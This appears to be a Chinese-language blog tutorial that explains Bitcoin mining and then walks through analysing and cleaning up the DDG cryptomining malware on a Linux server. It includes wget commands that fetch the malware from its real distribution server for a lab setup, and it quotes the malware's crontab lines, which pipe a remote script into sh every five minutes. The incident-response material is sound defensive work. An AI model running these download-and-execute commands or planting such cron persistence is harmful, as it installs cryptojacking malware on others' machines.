一、什么是比特币系统

有关比特币的专业知识讲解的内容资料很多,我这里只是简单通俗的记录下个人的学习和对他的理解。大家往往看到比特币首先想问的它到底是什么,是不是钱。可以肯定的回答大家,他是钱,但是他不只是个体,他其实是一个虚拟的电子货币支付系统,是的是一个系统。

所以我这里说了这么多的废话,就是希望大家以后看到比特币,我们不是把它看成是一个硬币,而是我们一看到比特币,我就立马想到的是它其实是一个系统(电子币虚拟支付系统)。只要大家能这样想,后面讲的内容大家就好理解了。

大家如果想要比较清晰的了解什么是比特币,我们就必须知道比特币其实是一套系统,他不是体,他是由各个“关键的基础点”共同在一定协议技术之上“运行的货币支付系统”。那么笔者接下来会分两步,给大家进行简单知识点的普济,即比特币系统的“关键基础构成”与其“比特币运行机制”。

重点预告:重点部分在于比特币的运行机制部分,请重点关注。

1.1 比特币系统关键构成

首先给大家贴出介绍比特币系统的一张图,大家简单的看下。这一张图片展示的就是一个完整的比特币系统有哪些内容构成,那么我们从这张图中我们可以看到什么呢?

通过前面个人的学习,我简单的概括出以下几个关键点:

那么前面废话说了这么多,到什么是比特币呢?请各位亲们往下看,下面我们会从比特币的比特币支持过程比特币发行过程两个方面带大家一起认识下比特币。

1.2 比特币系统运行过程

个人对于比特的运行过程进行了简单的概括,一是比特币系统的“支付过程”,二就是“货币发行过程”。大家如果弄明白了这两个过程基本就了解了比特币系统是什么了,也就理解什么是比特币了。

1.2.1 货币支付过程

1.2.1.1 关键词

在说明比特币的支付过程之前,大家先带大家看几个关键词:P2P去中心化终端用户

OK!我们了解了上面三个关键词后,我们就来看下比特币定义。

比特币定义:它是一种去中心化的,基于区块链网络技术的,P2P电子支付技术系统。听起来是不是还是很含糊,OK,那么说的再简单点,就是比特币是一个P2P(点到点)的电子支付系统。

1.2.1.2 P2P支付过程

通过上面的定义,你可能还是不太了解其运行过程,那么我们举一个生活中的例子来给大家简单说明。

场景举例:A 向 B 支付100元,在 “中心支付模式” 和 “点对点支付模式 ”,他们各自是如何完成支付的呢。

说了这么多,大家不知道是不是已经理解了比特币的支付模式了呢,是的没错所谓比特币的P2P支付模式,就是每个人都一个账本,所有的支付结算过程结果都由每个人自己的账本记录进行更新记录,当然每个人的账本记录都是一样的内容,至于怎么实现,请各位亲继续往后看。

1.2.2 货币发行过程

前面讲了那么多比特币的支付过程,那一个非常重要的问题来了,请问这些比特币系统中每个人的比特币是哪里来的,即货币到底是谁发行的呢? 这个问说如果大家搞清楚了,各位亲也就能理解我经常听到或遇到的“挖矿恶意程序”的到底是个什么玩意了。

1.2.2.1 关键词

统一在为各位亲说明货币发现过程之前,先带大家看几个关键词或者说是关键点,即区块链、旷工以及比特币奖励

1.2.2.2 比特货币发行

通过前面比特币网络的学习,我们知道比特币其实一个P2P的网络,这也表示网络中的每一个人都当担这比特币系统的一小部分,但是一个主要的问题出了比特币来时哪里呢?

大家如果看了上面的解释还不清楚,笔者结合前面区块链的内容再结合实际场景的给亲们解释下。

我们通过前面学习知道,比特币网络中每10分钟会生成一个新的区块,这个新生成的区块其会包含多个内容。
第一个内容:就是最近这10分钟产生的所有比特币支付交易记录;
第二个内容:是区块锁(即签名或者说前面说的数学难题的答案);
第三个内容:就是即将新发行的比特币(奖励给第一个算出数学难题的旷工)。

现在我们把这三个内容联系起来,我们知道比特币P2P网络中每个人都一本账本,那是不是意味着每个都可能去篡改自己的账本呢,是的存在这个可能,所以比特币网络设计了区块链的技术来防止这个情况的出现,那么每个人手中的账本如何可靠安全的更新呢?

好的,我们现在重回到区块链技术,我们知道比特币网络每10分钟生成一个区块,通俗点就是一个当前10分钟网络中所有交易的账本记录,为防止有人恶意篡改,区块链被加了签名(即一把锁/答案)防止被恶意篡改,比特币网络中第一个破解了这个签名的人,即可以新的区块加到原始的区块链上去;我们知道谁也不可能义务劳动,所以在被更新的区块中还包了对第一个破解人的比特币奖励的更新账单记录;这个奖励的比特币方式就是发行新比特币的方法和过程了。

二、恶意挖矿程序的由来

我们现在了解到旷工是整个比特币系统运行的底层基础运算保障,也是整个区块链技术的核心部分,比特币系统运行机制中为了保障整个比特币的系统有效运行和吸引更多的个体投入到系统中来,设立对旷工工作的奖励机制即通过衡量他们的运算贡献给以比特币的奖励。也因此现实社会中有了更多的人愿意将个人的计算机运算能力提供给比特币的网络系统,随着比特币的价值提升,更多的人有组织、有体系的,合法甚至不合法的去给比特币系统网络提供运算支持,其基本发展历程如下。

2.1 矿工与货币发行回顾

在将恶意挖矿程序由来之前,我们需要回顾下什么是矿工、挖矿奖励机制、比特币的发行。
我现在都知道在比特币系统中,矿工们是用一种特别的软件来解决数学难题,来作为交换比特币系统生成的特定数量的比特币,而这种机制提供了一种发行货币的创新方式,同时也创造了人们参与挖矿的动机。由于比特币网络的交易需要矿工来进行验证,更过矿工的参与也意味着更安全的比特币网络,但同时随着矿工越来越多,比特币系统也会自动会自动改变这些数学题目的难度,而难度的变化的速度,通常又取决于解题的速度。

2.2 挖矿的历史历程介绍

2.2.1 一般CPU计算的时代

最早期的矿工们都是使用个人使用计算的CPU进行为挖矿,这是最原始的挖矿;

2.2.2 显卡的时代

不久之后,矿工们发现使用显卡更适合于挖矿工作,显卡速度虽然快;但是显卡万科也有其自身的缺陷,就是需要消耗更多的电力,温度也会过高;人们发现挖矿的成本增大了;

2.2.3 ASIC 芯片时代

随后挖矿利益的驱动,出现专业更专业的挖矿产品,为挖矿提供专业的编程芯片,这种挖矿机虽然加快了挖矿速度,但仍然需要消耗大量的电力;
ASIC 芯片的挖矿时代就应用而生了,特定的ASIC技术通过更少的消耗电量让比特币挖矿更快;

2.2.4 矿场与矿池的时代

2.3 挖矿恶意程序总结

上面铺垫说了这么了多,相信大家看到矿池的出现时,就都明白了“挖矿恶意程序”的由来了。是的,没错了,挖矿恶意程序其实就是矿池模式中矿池的一员,正常矿池中的成员都是自愿加入矿池中,为矿池提供计算能力,然后依据自己的计算贡献能力,从矿池的收益中来获取自己的分配所得。但是恶意程序是在未授权的情况下向你的服务器恶意植入的一个程序,并盗用了你个人计算机的计算能力来为Hacker挣钱的行为。

这就是我们经常说挖矿事件的真实面目了,说了这么多不知道大家是否明白了,嘴巴都说干了。

三、本地实验环境搭建

以上说了这么多都在跟大家一起去学习和了解下比特币是什么、挖矿是什么、恶意挖矿程序又是怎么由来的,详细此时大家应该都或多或少有了一点的了解了,那么接下来就是我们看看安全当中恶意挖矿程序是如何运行,我们如果不幸中招了如何快速做出响应和处理。

3.1 挖矿恶意程序分析

3.1.1 挖矿恶意脚本程序

本次试验环境中使用的挖矿恶意程序主要基于实际环境中捕获的恶意程序进行分析后总结后从网络中直接获取的,涉及的程序包含“1个shell脚本”和“2个可执行程序”,具体名称如下(未做任何改动)。

3.1.2 挖矿恶意程序详解

3.1.2.1 i.sh shell 脚本

脚本下载地址: http://218.248.40.228:8443/i.sh

i.sh 通过以上脚本内容分析,我们可以清晰的看到i.sh就是一个shell脚本,他主要功能我们通过分析可以知道,其主要负责完成以下两件事情。

第一个任务:每五分钟下载一次i.sh脚本,并执行,目的应该就是为了循环执行以达到一个守护的目的;
第二个任务:依据当前系统的架构,下载相对于的ddg程序,并授予可执行权限然后运行。

3.1.2.2 dgg.xxxx 可执行程序

通过上面的i.sh脚本,我们可以看到dgg.2021的下载地址,分析的过程中我们可以知道程序设计考虑还很周全,分为了x86 与 x86_64两个不同架构的版本。

在分析的过程中还发现这个ddg.xxx这个程序的版本有2020与2021两个版本,其实在我写这篇文档时,进行环境复现时版本已经升级到2021版本了,更新还挺频繁的,其实还远不止这两个版本。

通过实际环境分析,发下dgg.xxxx这个程序的主要功能就是下载wnTKYg并运行他,同时其还是wnTKYg的守护者,当我们删除wnTKYg是,如果未能删除dgg.xxxx,那么很快wnTKYg还会再次复活。

3.1.2.3 wnTKYg 可执行程序

wnTKYg这个程序直接读取是无法看到其内部内容的,个人能有限,也无法做到具体内容的分析,如果哪位大神有这个闲情,请带我飞。这里我仅从其运行的特性来分析下其主要功能。

这里放出一张直接手动运行wnTKYg程序后的截图,通过上面这张图我们其实可以很直接看到三个关键字“miner”、“Pool”、“block”,是不是我们第一个章节中废话说了那么多,就这个三个词能,是的“矿工”、“矿池”、还有就是“区块链技术”。所以,这里不言而喻这个wnTKYg就是挖矿的主程序了,就是负责给比特币网络提供底层运算的劳工了。

3.2 环境搭建

3.2.1 下载恶意代码程序

# wget http://218.248.40.228:8443/i.sh
# wget http://218.248.40.228:8443/2021/$(uname -m)
# wget http://218.248.40.228:8443/wnTKYg

3.2.2 运行脚本搭建环境

3.2.2.1 运行失败小插曲

我第一次搭建环境的时候使用的是个人的PC来搭建的运行环境,运行的过程中发现,下载的恶意wnTKYg程序主动运行时进行报错,告诉我的CPU 没有AES-IN。

查询发现这个AES-IN,代表的是Advance Encryption Standard New Instructions;AES-IN 高级加密标准新指令集,这也就意味着你的CPU如果不支持 AES-IN,还不配有挖矿的资格,想成为肉鸡都不配,我只能笑着说,是我太LOW,我太小白了,我不懂...(其实心中千万个cao ni ma 奔驰而过...)

接着通过以下命令检查了下我的CPU是否真的不支持AES-IN。

# cat /proc/cpuinfo |grep aes

原来我的台式机真的不支持AES-IN这个高级指令集,随后我看了下我的最新的笔记本,OK,还算幸运竟然支持,随后将CentOS7的环境移植到了我的笔记本中,继续进行试验。

3.3.2.2 更换环境运行成功

重新找了一台新的环境,在验证了服务的CPU支持AES-IN指令集的情况下,重新安装捕获的恶意程序运行脚本,运行一切OK。

注意事项

环境脚本运行的时候要注意,就是先下载i.sh,然后直接运行等待一段时间即可。(主要是由于运行i.sh文件后,他需要去下载ddg.2021主程序,这个程序相对较大而且还在国外)待ddg.2021程序运行正常后,随后它就会去下载wnTKYg这个程序计算程序,他也运行成长,环境就搭建成功了。

如果你发现你等待了很久都环境都没搭建成功,可以尝试清除一下计划任务表,因为计划任务表会循环下载ddg.2021文件,可能会影响ddg.2021的正常运行。

四、挖矿恶意程序处理流程

4.1 异常问题定位

4.1.1 异常进程排查

(1)top 排查

使用top命令直接动态排查可能异常进程,配合 -c可以直接查找到异常进程的物理位置。

# top -c

(2)ps -ef 排查

#  ps -ef |grep wnTKYg
#  ps -ef |grep ddg.2021

(3) 疑似进程定位

[root@localhost ~]# find / -name wnTKYg*
/tmp/wnTKYg
[root@localhost ~]#

4.1.2 异常会话排查

(1) # netstat -pantul |grep ESTAB

查询会话建立情况,查看是否有异常会话连接。

[root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           
tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         
tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           
tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021       
tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl           
[root@MiWiFi-R3-srv tmp]#

4.1.3 计划任务排查

(1) # crontab -l

查询当前计划任务中是否存在异常未知的任务被添加。

[root@localhost ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
You have new mail in /var/spool/mail/root

(2) 直接查询用户任务配置文件

[root@MiWiFi-R3-srv ~]# tree /var/spool/cron/
/var/spool/cron/
├── crontabs
│   └── root
└── root

1 directory, 2 files
[root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
[root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
[root@MiWiFi-R3-srv ~]#

4.1.4 恶意程序确认

如果此时你还不确认当前程序是否是恶意程序,可以直接将定位到的疑似恶意程序进行md5 hash后进行校验比对进行确认。

md5校验网站https://www.virustotal.com/#search

(1) 进行疑似文件的md5sum 哈希

[root@MiWiFi-R3-srv tmp]# md5sum wnTKYg 
d3b1700a413924743caab1460129396b  wnTKYg
[root@MiWiFi-R3-srv tmp]#

(2) 进行MD5哈希疑似病毒校验比对

直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。通过比对结果,我们可以清晰的看到wnTKYg为恶意程序。

4.2 挖矿恶意程序处理方式

4.2.1 直接清理恶意程序

(1)清除计划任务

首先第一步需要先删除计划任务,因为计划任务会每5分钟循环下载恶意程序并授权执行;

# crontab -r       # 直接使用此命令即可上次当前用户的计划任务
#
# crontab -l       # 直接查询当前用户是否还存在计划任务
no crontab for root
# vi /var/spool/cron/root
#
# /var/spool/cron/crontabs/root
分别编辑以上两个root配置文件,删除恶意计划任务内容,即可。
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
~                                                                  
~                                                                  
~

(2) 杀死恶意进程

第二步就杀死相关的恶意运行行为的程序,除了wnTKYg与ddg.2021以为,当前若存在curl程序,也应该将其杀死。

# pkill wnTKYg
# pkill dgg.2021
# pill curl
# ps -ef |grep wnTKYg       # 查询恶意程序的ps进程号
# kill -9 PID

## ps -ef |grep ddg.2021    # 查询恶意程序的ps进程号
# kill -9 PID

## ps -ef |grep curl        # 查询恶意程序的ps进程号
# kill -9 PID

(3) 清除恶意程序

清理过程的最后一步才是进行相关恶意程序的删除操作。

# rm -rf /tmp/wnTKYg
# rm -rf /tmp/ddg.2021
# rm -rf /tmp/i.sh

4.2.2 禁止服务主动访问互联网

禁止服务主动访问互联网的方法是我们快速处理挖矿恶意程序对服务器影响的最快,最有效的方法,也是一劳永逸的,当然有外面的人是怎么进来的,不是我们这里主题,这里不做过多的说明。接下来就详细的记录与分析下我们为什么这么做,怎么做。

4.2.2.1 问题分析

通过前面的分析学习,我们知道ddg.2021程序是主程序也是wnTKYg的守护进程,其是由i.sh下载下来并执行的,所以对于i.sh与ddg.2021的下载,我们也要禁止掉。

4.2.2.2 如何下发网络访问控制

其实禁止主机主动访问互联的方法有很多,比如可以通过网络中的防火墙禁止服务主动连接互联;或者在做内网返现代理时,就不代理内网服务器都可以实现我们的目标。

不过我这里只说明了怎么利用我们的Linux服务器只带的防火墙iptables来下发访问控制,禁止服务主动连接互联网。

第一步就是通过会话监控命令,监控查询恶意程序 wnTKYg、ddg.2021、curl下载的外网互联地址;

[root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           
tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         
tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           
tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021       
tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl

依据查询出的外网互联地址,直接下发访问控制策略,禁止服务访问这些网络地址。

[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP
[root@MiWiFi-R3-srv tmp]#

4.3 找到入侵的源头

以上所有说的这么多都是与大家一起了解下挖矿的恶意程序是怎么运行的,在我们的服务器到底做了些什么,我应该如何应对这个恶意程序,当然也可以为其他恶意程序的问题定位与处理提供借鉴与参考。

但是,归根结底问题还是出在我们的服务上,我们的服务可能存在漏洞被人恶意利用了,服务被入侵,我们必须找到入侵的根源才能确保服务的安全。
有关服务器入侵根源的查找的方法,这里不做展开说明了,简单记录下基本思路。

五、挖矿事件应急处理总结

5.1 确认挖矿事件

5.1.1 异常进程排查

# 进程动态快速定位,使用 top -c可快速定位异常经常的物理位置,查询异常进程。
# top -c
# ps -ef 排查
#  ps -ef |grep wnTKYg
#  ps -ef |grep ddg.2021
# 疑似进程定位
[root@localhost ~]# find / -name wnTKYg*
/tmp/wnTKYg
[root@localhost ~]#

5.1.2 异常会话排查

# 查询会话建立情况,查看是否有异常会话连接。
# netstat -pantul |grep ESTAB

5.1.3 计划任务查询

[root@localhost ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
You have new mail in /var/spool/mail/root

5.1.4 异常病毒校验

第一步:使用md5sum 命令进行疑似文件哈希

# md5sum wnTKYg 
d3b1700a413924743caab1460129396b  wnTKYg

第二步:进行疑似病毒MD5哈希值的校验比对

直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。通过比对结果,我们可以确认疑似文件是否是恶意程序。

5.2 处理恶意程序

5.2.1 清除计划任务

# crontab -r       # 直接使用此命令即可上次当前用户的计划任务
#
# crontab -l       # 直接查询当前用户是否还存在计划任务
no crontab for root

5.2.2 杀死恶意进程

# pkill wnTKYg
# pkill dgg.2021
# pill curl

5.2.3 清除恶意进程

# rm -rf /tmp/wnTKYg
# rm -rf /tmp/ddg.2021
# rm -rf /tmp/i.sh

5.2.4 下发访问控制策略

下发访问控制策略,禁止服务互联三个恶意程序外联的外网地址。

# 查询恶意进程外网互联地址
#
# netstat -pantul |grep ESTAB       
tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           
tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         
tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           
tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021       
tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl           

# 下发放控制策略,禁止服务的外网互联
#
# iptables -A OUTPUT -d 163.172.226.120 -j DROP
# iptables -A OUTPUT -d 104.131.231.181 -j DROP
# iptables -A OUTPUT -d 218.248.40.228 -j DROP

学习参考

源链接

Hacking more

...